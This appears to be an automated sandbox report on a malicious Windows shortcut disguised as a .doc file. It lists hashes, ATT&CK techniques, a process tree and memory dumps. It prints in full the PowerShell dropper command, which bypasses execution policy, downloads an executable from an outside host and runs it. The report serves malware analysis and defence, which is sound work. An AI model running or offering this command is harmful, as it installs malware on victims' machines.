c8617f2c6432c96c35b9142798530695511d45a1fb780f33b122542ee9dc3e8a

Analysis

max time kernel
143s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
30/08/2023, 18:53

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General

Target

Document_45/Document_45.doc.lnk
Size

1KB
MD5

c7eb920f5717b5911ca1565067a5a314
SHA1

aad1960e04ce48f707fe297e17eeb0cbe2ddbb83
SHA256

b3dac534d0ce19efdf1aa37718283318e94a82446b3fad721076bb63f427eee3
SHA512

5baab10dfe542581f4ec2e38fd5481c2d6d69192c6775de5e2326e73b3547d46a61608fae55082f184ef1c5d613358bfcca067c18514668d9842e95be6d7533b

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://twizt.net/s.exe

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	3772	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1043950675-1972537973-2972532878-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3772	powershell.exe
3772	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3772	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2976 wrote to memory of 1384	2976	cmd.exe	83
PID 2976 wrote to memory of 1384	2976	cmd.exe	83
PID 1384 wrote to memory of 3772	1384	cmd.exe	84
PID 1384 wrote to memory of 3772	1384	cmd.exe	84

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Document_45\Document_45.doc.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell.exe ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://twizt.net/s.exe','C:\Users\Admin\windrv.exe');Start-Process 'C:\Users\Admin\windrv.exe'
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1384
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://twizt.net/s.exe','C:\Users\Admin\windrv.exe');Start-Process 'C:\Users\Admin\windrv.exe'
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3772

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_arhgia2a.rmj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3772-2-0x000001DBB48A0000-0x000001DBB48C2000-memory.dmp

Filesize
136KB

Download
memory/3772-10-0x00007FFABD670000-0x00007FFABE131000-memory.dmp

Filesize
10.8MB

Download
memory/3772-11-0x000001DBB48E0000-0x000001DBB48F0000-memory.dmp

Filesize
64KB

Download
memory/3772-12-0x000001DBB48E0000-0x000001DBB48F0000-memory.dmp

Filesize
64KB

Download
memory/3772-15-0x00007FFABD670000-0x00007FFABE131000-memory.dmp

Filesize
10.8MB

Download